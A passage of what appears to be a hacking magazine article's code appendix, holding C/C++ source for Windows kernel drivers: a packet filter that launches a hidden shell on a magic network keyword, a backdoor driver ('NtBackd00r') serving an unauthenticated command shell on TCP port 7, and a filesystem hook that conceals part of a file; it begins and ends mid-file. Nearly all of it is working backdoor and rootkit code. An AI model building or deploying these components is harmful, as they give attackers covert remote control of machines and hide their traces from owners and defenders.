                if (KeWaitForSingleObject(&Event,Executive,KernelMode,FALSE,&Timeout)!=ST
ATUS_SUCCESS)
                        return STATUS_UNSUCCESSFUL;
                globalresult = pirp->IoStatus.Status;
        }
        return globalresult;
}


----[ 8.8 - MPFD_main.cpp

extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "Sniffer.h"
#include "Filtering.h"
}

extern VOID ShellStarter(VOID* StartShellEvent);
HANDLE hShellStarterTread=NULL;
BOOLEAN Terminating=FALSE;
KEVENT StartShellEvent;

unsigned char * __cdecl memfind(
        const unsigned char * str1,
                unsigned int n1,
        const unsigned char * str2,
                unsigned int n2
        )
{
                if (n2>n1) return NULL;

        unsigned char *cp = (unsigned char *) str1;
        unsigned char *s1, *s2;
                unsigned int x;

        for (unsigned int i=0;i<=n1-n2;i++)
        {
                s1 = cp;
                s2 = (unsigned char *) str2;
                                x=n2;

                while (x && !(*s1-*s2) )
                        s1++, s2++, x--;
                                if (!x) return(cp);
                cp++;
        }
        return(NULL);
}

unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x31\xE1\xD6
";
```

```
PF_FORWARD_ACTION PacketFilter(
  IN IPHeader *PacketHeader,
  IN unsigned char *Packet,
  IN unsigned int PacketLength,
  IN unsigned int RecvInterfaceIndex,
  IN unsigned int SendInterfaceIndex,
  IN IPAddr RecvLinkNextHop,
  IN IPAddr SendLinkNextHop
  )
{
        if (memfind(Packet,PacketLength,keyword,sizeof(keyword)))
        {
                HANDLE ThreadHandle;
                KeSetEvent(&StartShellEvent, 0, FALSE);
        }
        return PF_PASS;
}

NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
                       IO_NO_INCREMENT
                       );
    return Irp->IoStatus.Status;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
#if (DBG)
        DbgPrint("MPFD: OnUnload called\n");
#endif
        PVOID ThreadObj;
        SutdownFiltering();
        if (hShellStarterTread)
        {
                Terminating=TRUE;
                ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL, Ke
rnelMode, &ThreadObj, NULL);
                KeSetEvent(&StartShellEvent, 0, TRUE);
                KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL);

        }
}

#pragma code_seg("INIT")

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        NTSTATUS status;

#if (DBG)
        DbgPrint("MPFD:In DriverEntry\n");
#endif
        UNREFERENCED_PARAMETER(RegistryPath);

        for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
        {
                DriverObject->MajorFunction[i] = OnStubDispatch;
           }
        DriverObject->DriverUnload  = OnUnload;

        status=InitFiltering();
        if (status!=STATUS_SUCCESS) return status;
        KeInitializeEvent(&StartShellEvent,SynchronizationEvent,FALSE);
        OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
        status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NUL
L, ShellStarter, &StartShellEvent);

        return status;
}


----[ 8.9 - NtBackd00r.cpp

// NtBackd00r.cpp
//
// Generated by Driver::Wizard version 2.0

#define VDW_MAIN
#include <vdw.h>
#include <stdio.h>
#include <ntifs.h>
#include "function.h"
#include "NtBackd00r.h"
#pragma hdrstop("NtBackd00r.pch")

#if (DBG)
#define dprintf DbgPrint
#else
#define dprintf
#endif

extern "C" {
        NTSYSAPI
                NTSTATUS
                NTAPI
                ZwWaitForMultipleObjects(
                IN ULONG HandleCount,
                IN PHANDLE Handles,
                IN WAIT_TYPE WaitType,
                IN BOOLEAN Alertable,
                IN PLARGE_INTEGER Timeout OPTIONAL
                );

        NTSYSAPI
                NTSTATUS
                NTAPI
                ZwCreateEvent(
                OUT PHANDLE EventHandle,
                IN ACCESS_MASK DesiredAccess,
                IN POBJECT_ATTRIBUTES ObjectAttributes,
                IN EVENT_TYPE EventType,
                IN BOOLEAN InitialState
                );

        NTSYSAPI
                NTSTATUS
                NTAPI
                ZwSetEvent(
                IN HANDLE EventHandle,
                OUT PULONG PreviousState OPTIONAL
                );
}

extern "C" void LoadFuncs();
extern "C" HANDLE StartShell(PHANDLE phPipe);
extern VOID ShellStarter(VOID* StartShellEvent);

//////////////////////////////////////////////////////////////////////
// Begin INIT section
#pragma code_seg("INIT")

DECLARE_DRIVER_CLASS(NtBackd00r, NULL)
```

```
//////////////////////////////////////////////////////////////////////
// Driver Entry
//
NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING RegistryPath)
{
        UNREFERENCED_PARAMETER(RegistryPath);

        //Dynamic import of functions exported from ntdll.dll
        LoadFuncs();

        // Initialize the TDIClient framework first
        if (!KTDInterface::Initialize())
        {
                // something wrong with TDI
                return STATUS_NOT_FOUND;
        }

        // Create TCP server, port 7
        CIPTRANSPORT_ADDRESS TCP_port(IPPORT_ECHO);
        m_pListener = new(NonPagedPool) KStreamServer<Session> (TCP_port);

        // If succeeded - enable network events

    if (m_pListener && m_pListener->IsCreated()) {
        m_pListener->SetEvents(TRUE);
        dprintf("NtBackd00rDevice: Listener started\n");
    }
    else {
        dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n");
        return STATUS_INSUFFICIENT_RESOURCES;
    }

        //Create dummy device for IoQueueWorkItem
        m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL);

        if (m_pDummyDevice  == NULL)
        {
                return STATUS_INSUFFICIENT_RESOURCES;
        }

        return STATUS_SUCCESS;
}


#pragma code_seg()
#pragma warning( disable : 4706 )

//This message will be sen to client in case of failure when starting shell
char errtxt_shell[]="cant start shell";

///////////////////////////////////////////////////////////////////////////////
//        Unload is responsible for releasing any system objects that
//        the driver has allocated.
//
VOID NtBackd00r::Unload(VOID)
{

    if (m_pListener)
        {
                // Disable network event notifications
                m_pListener->SetEvents(FALSE);

                // Iterate through the list of active sessions
                // and forcefully disconnect all active sessions
                Session* p;
                TDI_STATUS Status;

                while ( p = m_ActiveSessionList.RemoveHead() )
                {
                        // Thread handle must be extracted before dele p
                        HANDLE hWorkerThread = p->hDataPumpThread;
                        // By default, this method will perform an
                        // abortive disconnect (RST)
                        Status = p->disconnect();
                        ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status);
                        delete p;
                        // It's required to wait for termination of worker threads,
                        // or else unloading driver will cause BSOD
                        if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread, FALSE, NU
LL);
                }

                // Wait for all outstanding requests to complete
                // By issuing a disconnect for all sessions, any
                // pending requests should be completed by the transport
                m_pListener->Wait();

                // destroy the socket
                delete m_pListener;
                m_pListener = NULL;

                dprintf("NtBackd00rDevice: Listener stopped\n");
        }

        delete m_pDummyDevice;

        // Call base class destructor to delete all devices.
        KDriver::Unload();
}

// Frees buffers, given to ZwWriteFile for asynchronous write
VOID NTAPI ApcCallbackWriteComplete(
                                                                          IN PVOID ApcConte
xt,
                                                                          IN PIO_STATUS_BLO
CK IoStatusBlock,
                                                                          IN ULONG Reserved
                                                                          )
{
        UNREFERENCED_PARAMETER(IoStatusBlock);
        UNREFERENCED_PARAMETER(Reserved);

        //
        delete (uchar *)ApcContext;
}

#define SENDS_QUEUED_THRESHOLD 3

// Thread, that transfers data between named pipe and socket
VOID DataPumpThread(IN PVOID thiz1)
{
        IO_STATUS_BLOCK send_iosb, rcv_iosb;
        uchar *send_buf, *rcv_buf;
        ULONG rd;
        const bufsize=0x1000;
        NTSTATUS status;
        LARGE_INTEGER  ResendInterval;
        //loacl copy of Pipes needed for correct thread termination
        //after deleting Session
        s_Pipes *Pipes;


        Session* thiz=(Session*)thiz1;
        Pipes=thiz->m_Pipes;
        ResendInterval.QuadPart = (__int64)1E6; //0.1c

        //Create FIFO
        //Source of BSOD at high IRQL
        thiz->pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000, NonPagedPool)
;
```

```
        //Lock socket to avoid sudden deletion of it
        thiz->Lock();

        //send_buf alocated here, deleted in OnSendComplete
        send_buf = new(NonPagedPool) uchar[bufsize];
        //Start asynchronous read
        status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, se
nd_buf, bufsize, NULL, NULL);
        if (status==STATUS_SUCCESS)
        {
                //Send read data to client
                status=thiz->send(send_buf, send_iosb.Information, send_buf);
                if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS))
                        dprintf("send error %08x\n");
                //to avoid recurring send of same data
                send_iosb.Status = -1;
        }
        while (1) switch (ZwWaitForMultipleObjects(2, &Pipes->hPipeEvents[0], WaitAny, TR
UE, NULL))
        {
                //STATUS_WAIT_1 - read operation completed
        case STATUS_WAIT_1:
                //
                if (Pipes->Terminating) goto fin;
                if (!Pipes->hPipe) break;
sending:
                {
                        if (!send_iosb.Status)
                        {
resend:
                        //Send read data to client
                        status=thiz->send(send_buf, send_iosb.Information, send_buf);
                        //If there wan an error, then it tried to push too much data in s
ocket
                        if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING))
                        {
                                //Wait for free space in buffer...
                                KeDelayExecutionThread(KernelMode, TRUE, &ResendInterval)
;
                                //...and retry
                                goto resend;
                        }
                        }
                        //send_buf alocated here, deleted in OnSendComplete
                        send_buf = new(NonPagedPool) uchar[bufsize];
                        //Start asynchronous read
                        status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL
, &send_iosb, send_buf, bufsize, NULL, NULL);
                        //If there was a data in pipe buffer, it read instantly.
                        if (status==STATUS_SUCCESS)
                                //send it immediately
                                goto sending;
                        else {
                                if (status!=STATUS_PENDING)
                                {
                                        delete send_buf;
                                        //STATUS_PIPE_LISTENING - it's OK, process not co
nnected to pipe yet
                                        if (status!=STATUS_PIPE_LISTENING)
                                        {
                                                //otherwise it was an error, disconnect c
lient and terminate thread
                                                if (!Pipes->Terminating) thiz->disconnect
();
                                                goto fin;
                                        }
                                }
                        }
                };
                break;
                //STATUS_WAIT_0 - write operation completed
        case STATUS_WAIT_0:
                if (Pipes->Terminating) goto fin;
                if (!Pipes->hPipe) break;
                //FIFO must be locked during all operation with it
                //to avoid conflicts
                thiz->pWBytePipe->Lock();
                //At first look what crowd into FIFO,...
                rd = thiz->pWBytePipe->NumberOfItemsAvailableForRead();
                if (rd)
                {
                        //... then allocate appropriate amount of memory ...
                        rcv_buf = new(NonPagedPool) uchar[rd];
                        //... and read all at once
                        rd = thiz->pWBytePipe->Read(rcv_buf, rd);
                }
                thiz->pWBytePipe->Unlock();
                if (rd)
                {
                        status = ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWriteComplete
, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL);
                        if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LISTENING)&&(s
tatus!=STATUS_PENDING))
                        {
                                //if there was an error, disconnect client and terminate
thread
                                if (!Pipes->Terminating) thiz->disconnect();
                                goto fin;
                        }
                }
                break;
        case STATUS_ALERTED:
                break;
        default: goto fin;
        }
fin:
        //If termination not initiated from outside, unlock socket
        if (!Pipes->Terminating) thiz->Unlock();
        //If pipe exists, then all the rest exists too -
        //destroy it all
        if (Pipes->hPipe)
        {
                ZwClose(Pipes->hPipe);
                for (int i=0;i<=1;i++)
                        ZwClose(Pipes->hPipeEvents[i]);
                CLIENT_ID clid = {Pipes->ChildPID, 0};
                HANDLE hProcess;
                OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0};
#define PROCESS_TERMINATE         (0x0001)
                status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid);
                if (!status)
                {
                        ZwTerminateProcess(hProcess, 0);
                        ZwClose(hProcess);
                }
        }
        delete Pipes;
        PsTerminateSystemThread(0);
}


#define DISABLE_INTS __asm pushfd; cli
#define RESTORE_INTS __asm popfd;

VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1)
{
        OBJECT_ATTRIBUTES       attr;
        HANDLE                              loc_hPipe, loc_hPipeEvents[2], loc_ChildPID
;
```

```
        UNREFERENCED_PARAMETER(DeviceObject);

#define desc ((s_WorkItemDesc*)desc1)
        //By course of business will check is there "cancel" command
        if (desc->WorkItemCanceled) goto cancel2;

        //Start shell
        loc_ChildPID = StartShell(&loc_hPipe);
        if (loc_ChildPID)
        {
                InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);

                //Create 2 events to notify thread about data receipt
                //from socket or pipe
                for (int i=0;i<=1;i++)
                        ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr, Synch
ronizationEvent, FALSE);

                //Disable interrupts and write all handles to structure that is class mem
ber
                DISABLE_INTS
                        if (!desc->WorkItemCanceled)
                        {
                                desc->thiz->m_Pipes->hPipe = loc_hPipe;
                                desc->thiz->m_Pipes->hPipeEvents[0] = loc_hPipeEvents[0];
                                desc->thiz->m_Pipes->hPipeEvents[1] = loc_hPipeEvents[1];
                                desc->thiz->m_Pipes->ChildPID = loc_ChildPID;
                        }
                RESTORE_INTS

                if (desc->WorkItemCanceled) goto cancel;

                //Create thread, that transfers data between named pipe and socket
                PsCreateSystemThread(&desc->thiz->hDataPumpThread, THREAD_ALL_ACCESS, NUL
L, 0, NULL, DataPumpThread, desc->thiz);
        } else {
cancel:
        //In case of error or cancel close pipe, send error message to client,
        //and disconnect it
        ZwClose(loc_hPipe);
        char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1];
        RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1);
        desc->thiz->send(errmess, sizeof(errtxt_shell)-1);
        desc->thiz->disconnect();
        }
cancel2:
        //Cleanup
        IoFreeWorkItem(desc->WorkItem);
        DISABLE_INTS
        desc->WorkItem = NULL;
        if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL;
        RESTORE_INTS
        ExFreePool(desc1);
#undef desc
}

/////////////////////////////////////////////////////////////////////////
// Session   -- Event handlers.
BOOLEAN  Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA,
                                                            uint OptionsLength, PVOID Options
)
{
        // Connecting: print the IP address of the requestor and grant the connection
#if(DBG)
        char szIPaddr[20];
        inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr, sizeof(szI
Paddr));

    dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n", szIPaddr,
 this);
```

```
#endif
        // obtain a pointer to the KDriver derived class
        NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
        ASSERT(p);

        //Initialization of miscellaneous stuff
        pWBytePipe = NULL;
        hDataPumpThread = NULL;
        m_Pipes = new(NonPagedPool) s_Pipes;
        RtlZeroMemory(m_Pipes, sizeof s_Pipes);

        //Initialize and start WorkItem
        m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc);
#define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc)
        pWorkItemDesc->WorkItemCanceled=false;
        pWorkItemDesc->thiz=this;
        pWorkItemDesc->WorkItem=IoAllocateWorkItem(*p->m_pDummyDevice);
        if (!pWorkItemDesc->WorkItem) return FALSE;
        //To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem
        IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter, CriticalWorkQueue, pWorkI
temDesc);
#undef pWorkItemDesc

        // Add this object to the session list maintained by the driver
        p->m_ActiveSessionList.InsertTail(this);

        UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options);
    return TRUE;
}

void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort)
{

    dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this);

        UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort);
}

Session::~Session()
{
        // obtain a pointer to the KDriver derived class
        NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
        ASSERT(p);
        // Remove this object from the session list maintained by the driver
        p->m_ActiveSessionList.Remove(this);

        //Set flas, that make thread to terminate
        m_Pipes->Terminating = true;
        //To not wait for yesterday in OnUnload
        hDataPumpThread = NULL;
        //Set event "let's finish"
        if ( m_Pipes && (m_Pipes->hPipeEvents[0])) ZwSetEvent(m_Pipes->hPipeEvents[0], NU
LL);

        //If WorkItem works, notify it about termination
        if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=true;

        delete pWBytePipe;
}

uint Session::OnReceive(uint Indicated, uchar *Data, uint Available,
                                                uchar **RcvBuffer, uint* RcvBufferLen)
{
        // Received some data from the client peer.

        //If all required pointers and handles are valid
        if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
        {
                //Write that data to FIFO
                pWBytePipe->LockedWrite(Data, Indicated);
                //And notify DataPumpThread
                ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
        }


        // Now, if the transport has more data available than indicated,
        // allocate another buffer to read the rest. When the transport
        // done with it - asynchronously - our OnReceiveComplete() handler
        // is called. Note that failure to submit a buffer supressed further
        // recieve indications - until and if a recv() is issued.

        if (Indicated < Available) {
                *RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available-Indicated
];
        }

    return Indicated;
}

void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt)
{
    // Our send request has completed. Free the buffer

        if (status != TDI_SUCCESS)
        dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status);
        //free the buffer
        delete ((uchar*)buf);

        UNREFERENCED_PARAMETER(bytecnt);
}

void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data)
{
        // Buffer for the partially indicated data allocated and submitted during
        // OnReceive() processing is filled in by the transport.

    if (status == TDI_SUCCESS) {
                if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
                {
                        //Write that data to FIFO
                        pWBytePipe->LockedWrite(Data, Indicated);
                        //And notify DataPumpThread
                        ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
                }
        } else
        dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status);

        if (status != TDI_PENDING)
                delete Data;
}

// end of file


---[ 8.10 - Intercept.cpp

//This module hooks:
// IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION,
// IRP_MJ_SET_INFORMATION, IRP_MJ_DIRECTORY_CONTROL,
// FASTIO_QUERY_STANDARD_INFO FASTIO_QUERY_BASIC_INFO FASTIO_READ(WRITE)
//to hide first N bytes of given file

extern "C" {
#include <ntddk.h>
}
#pragma hdrstop("InterceptIO.pch")

/////////////////////////////////////////////////////////////////////
// Undocumented structures missing in ntddk.h
```

```
typedef struct _FILE_INTERNAL_INFORMATION { // Information Class 6
    LARGE_INTEGER FileId;
} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;

typedef struct _FILE_EA_INFORMATION { // Information Class 7
    ULONG EaInformationLength;
} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;

typedef struct _FILE_ACCESS_INFORMATION { // Information Class 8
    ACCESS_MASK GrantedAccess;
} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;

typedef struct _FILE_MODE_INFORMATION { // Information Class 16
    ULONG Mode;
} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;

typedef struct _FILE_ALLOCATION_INFORMATION { // Information Class 19
    LARGE_INTEGER AllocationSize;
} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;

typedef struct _FILE_DIRECTORY_INFORMATION {
        ULONG NextEntryOffset;
        ULONG FileIndex;
        LARGE_INTEGER CreationTime;
        LARGE_INTEGER LastAccessTime;
        LARGE_INTEGER LastWriteTime;
        LARGE_INTEGER ChangeTime;
        LARGE_INTEGER EndOfFile;
        LARGE_INTEGER AllocationSize;
        ULONG FileAttributes;
        ULONG FileNameLength;
        WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_ALL_INFORMATION { // Information Class 18
    FILE_BASIC_INFORMATION BasicInformation;
    FILE_STANDARD_INFORMATION StandardInformation;
    FILE_INTERNAL_INFORMATION InternalInformation;
    FILE_EA_INFORMATION EaInformation;
    FILE_ACCESS_INFORMATION AccessInformation;
    FILE_POSITION_INFORMATION PositionInformation;
    FILE_MODE_INFORMATION ModeInformation;
    FILE_ALIGNMENT_INFORMATION AlignmentInformation;
    FILE_NAME_INFORMATION NameInformation;
} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;

typedef struct tag_QUERY_DIRECTORY
{
  ULONG Length;
  PUNICODE_STRING FileName;
  FILE_INFORMATION_CLASS FileInformationClass;
  ULONG FileIndex;
} QUERY_DIRECTORY, *PQUERY_DIRECTORY;

#pragma pack(push, 4)

typedef struct tag_FQD_SmallCommonBlock
{
  ULONG   NextEntryOffset;
  ULONG   FileIndex;
} FQD_SmallCommonBlock, *PFQD_SmallCommonBlock;

typedef struct tag_FQD_FILE_ATTR
{
  TIME    CreationTime;
  TIME    LastAccessTime;
  TIME    LastWriteTime;
  TIME    ChangeTime;
  LARGE_INTEGER EndOfFile;
  LARGE_INTEGER AllocationSize;
  ULONG   FileAttributes;
} FQD_FILE_ATTR, *PFQD_FILE_ATTR;

typedef struct tag_FQD_CommonBlock
{
  FQD_SmallCommonBlock SmallCommonBlock;
  FQD_FILE_ATTR        FileAttr;
  ULONG                FileNameLength;
} FQD_CommonBlock, *PFQD_CommonBlock;

typedef struct _KFILE_DIRECTORY_INFORMATION
{
  FQD_CommonBlock CommonBlock;

  WCHAR  FileName[ANYSIZE_ARRAY];
} KFILE_DIRECTORY_INFORMATION, *PKFILE_DIRECTORY_INFORMATION;

typedef struct _KFILE_FULL_DIR_INFORMATION
{
  FQD_CommonBlock CommonBlock;

  ULONG  EaSize;
  WCHAR  FileName[ANYSIZE_ARRAY];
} KFILE_FULL_DIR_INFORMATION, *PKFILE_FULL_DIR_INFORMATION;

typedef struct _KFILE_BOTH_DIR_INFORMATION
{
  FQD_CommonBlock CommonBlock;

  ULONG  EaSize;
  USHORT ShortFileNameLength;
  WCHAR  ShortFileName[12];
  WCHAR  FileName[ANYSIZE_ARRAY];
} KFILE_BOTH_DIR_INFORMATION, *PKFILE_BOTH_DIR_INFORMATION;

#pragma pack(pop)

///////////////////////////////////////////////////////////////////////
// Global variables
PDRIVER_OBJECT      pDriverObject;
PDRIVER_DISPATCH        OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp, OldDirCt
lDisp;
PFAST_IO_READ                OldFastIoReadDisp;
PFAST_IO_WRITE                OldFastIoWriteDisp;
PFAST_IO_QUERY_STANDARD_INFO        OldFastIoQueryStandartInfoDisp;

//Size of our file’s Invisible Part (in bytes)
ULONG InvisiblePartSize = 10;
//File, part of which we want to hide
wchar_t OurFileName[] = L"testing.fil";

//Size of OurFileName in bytes, excluding null terminator
ULONG OurFileNameLen = sizeof(OurFileName) - sizeof(wchar_t);


///////////////////////////////////////////////////////////////////////
// Functions

//Function returns true if FN matches OurFileName
bool ThisIsOurFile(PUNICODE_STRING FN)
{
        return ((FN->Buffer) &&
                (FN->Length >= OurFileNameLen) &&
                _wcsnicmp((wchar_t*)((char*)FN->Buffer + FN->Length - OurFileNameLen),
                OurFileName, OurFileNameLen/2)==0);
}

//Structure used to track IRPs which completion must be handled
struct s_ComplRtnTrack
{
        PIO_COMPLETION_ROUTINE CompletionRoutine;
        PVOID Context;
        //When CompletionRoutine is called, flags corresponds to InvokeOn*
        UCHAR Control;
        PIO_STACK_LOCATION CISL;
        FILE_INFORMATION_CLASS FileInformationClass;
        PVOID Buffer;
};

//Function set new CompletionRoutine, InvokeOnSuccess flag,
//and copies original fields to Context
void HookIrpCompletion(PIO_STACK_LOCATION CISL,
                                           PIO_COMPLETION_ROUTINE CompletionRoutine,
                                           PVOID Buffer,
                                           FILE_INFORMATION_CLASS FileInformationClass)
{
        s_ComplRtnTrack* NewContext =
                (s_ComplRtnTrack*)ExAllocatePool(NonPagedPool, sizeof(s_ComplRtnTrack));
        NewContext->CompletionRoutine = CISL->CompletionRoutine;
        NewContext->Context = CISL->Context;
        NewContext->Control = CISL->Control;
        NewContext->CISL = CISL;
        //Since CISL.Parameters unavailabile in IrpCompletion handler,
        //let's save all necessary data in Context structure
        NewContext->FileInformationClass = FileInformationClass;
        NewContext->Buffer = Buffer;
        CISL->CompletionRoutine = CompletionRoutine;
        CISL->Context = NewContext;
        CISL->Control |= SL_INVOKE_ON_SUCCESS;
}

//Function handles IRP completion
NTSTATUS NewComplRtn (
                                          IN PDEVICE_OBJECT DeviceObject,
                                          IN PIRP Irp,
                                          s_ComplRtnTrack* CXT)
{
        //Handle different types of IRP
        switch (CXT->CISL->MajorFunction)
        {
        case IRP_MJ_QUERY_INFORMATION:
                _asm int 3;
                //ThisIsOurFile is already tested
                switch (CXT->FileInformationClass)
                {
                        //In all cases modify CurrentByteOffset and/or size (EndOfFile)
                        //to hide first InvisiblePartSize bytes
                case FilePositionInformation:
                        ((PFILE_POSITION_INFORMATION)CXT->Buffer)->CurrentByteOffset.Quad
Part -= InvisiblePartSize;
                        break;
                case FileEndOfFileInformation:
                        ((PFILE_END_OF_FILE_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart
-= InvisiblePartSize;
                        break;
                case FileStandardInformation:
                        ((PFILE_STANDARD_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -=
InvisiblePartSize;
                        break;
                case FileAllocationInformation:
                        ((PFILE_ALLOCATION_INFORMATION)CXT->Buffer)->AllocationSize.QuadP
art -= InvisiblePartSize;
                        break;
                case FileAllInformation:
                        ((PFILE_ALL_INFORMATION)CXT->Buffer)->PositionInformation.Current
ByteOffset.QuadPart -= InvisiblePartSize;
                        ((PFILE_ALL_INFORMATION)CXT->Buffer)->StandardInformation.EndOfFi
le.QuadPart -= InvisiblePartSize;
                        break;
                }
        case IRP_MJ_DIRECTORY_CONTROL:
                //Get a pointer to first directory entries
                PFQD_SmallCommonBlock pQueryDirWin32 = (PFQD_SmallCommonBlock)CXT->Buffer
;
                //Cycle through directory entries
                while (1)
                {
                        PWCHAR pFileName = 0;
                        ULONG dwFileNameLength = 0;
                        switch (CXT->FileInformationClass)
                        {
                                //In all cases get pointer to FileName and FileNameLength
                        case FileDirectoryInformation:
                                dwFileNameLength = ((PKFILE_DIRECTORY_INFORMATION)pQueryD
irWin32)->CommonBlock.FileNameLength;
                                pFileName = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32
)->FileName;
                                break;
                        case FileFullDirectoryInformation:
                                dwFileNameLength = ((PKFILE_FULL_DIR_INFORMATION)pQueryDi
rWin32)->CommonBlock.FileNameLength;
                                pFileName = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)
->FileName;
                                break;
                        case FileBothDirectoryInformation:
                                dwFileNameLength = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDi
rWin32)->CommonBlock.FileNameLength;
                                pFileName = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)
->FileName;
                                break;
                        }
                        //_asm int 3;
                        //Is this file that we want?
                        if ((dwFileNameLength == OurFileNameLen) &&
                                _wcsnicmp(pFileName, OurFileName, OurFileNameLen/2)==0)
                        {
                                //_asm int 3;
                                //Hide first InvisiblePartSize bytes
                                ((PFQD_CommonBlock)pQueryDirWin32)->FileAttr.EndOfFile.Qu
adPart -= InvisiblePartSize;
                                break;
                        }
                        //Quit if no more directory entries
                        if (!pQueryDirWin32->NextEntryOffset) break;
                        //Continue with next directory entry
                        pQueryDirWin32 = (PFQD_SmallCommonBlock)((CHAR*)pQueryDirWin32 +
pQueryDirWin32->NextEntryOffset);
                }

        }
        //If appropriate Control flag was set,...
        if (
                ((CXT->Control == SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp->IoStatus.Status
)))
                || ((CXT->Control == SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp->IoStatus.Status)
))
                || ((CXT->Control == SL_INVOKE_ON_CANCEL)&&(Irp->IoStatus.Status == STATU
S_CANCELLED)) )
                //...call original CompletionRoutine
                return CXT->CompletionRoutine(
                DeviceObject,
                Irp,
                CXT->Context);
        else return STATUS_SUCCESS;
}

//Filename IRP handler deal with
#define FName &(CISL->FileObject->FileName)

//Function handles IRP_MJ_READ and IRP_MJ_WRITE
```

```
NTSTATUS NewReadWriteDisp (
                                                    IN PDEVICE_OBJECT DeviceObject,
                                                    IN PIRP Irp)
{
        //_asm int 3;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
        if (CISL->FileObject &&
                //Don't mess with swaping
                !(Irp->Flags & IRP_PAGING_IO)  && !(Irp->Flags & IRP_SYNCHRONOUS_PAGING_I
O))
        {
                if (ThisIsOurFile(FName))
                {
                        //_asm int 3;
                        CISL->Parameters.Write.ByteOffset.QuadPart += InvisiblePartSize;
                        //Write and Read has the same structure, thus handled together
                }
        }
        //Call corresponding original handler
        switch (CISL->MajorFunction)
        {
        case IRP_MJ_READ:
                return OldReadDisp(DeviceObject, Irp);
        case IRP_MJ_WRITE:
                return OldWriteDisp(DeviceObject, Irp);
        }
}

//Function handles IRP_MJ_QUERY_INFORMATION
NTSTATUS NewQueryDisp (
                                            IN PDEVICE_OBJECT DeviceObject,
                                            IN PIRP Irp)
{
        //_asm int 3;
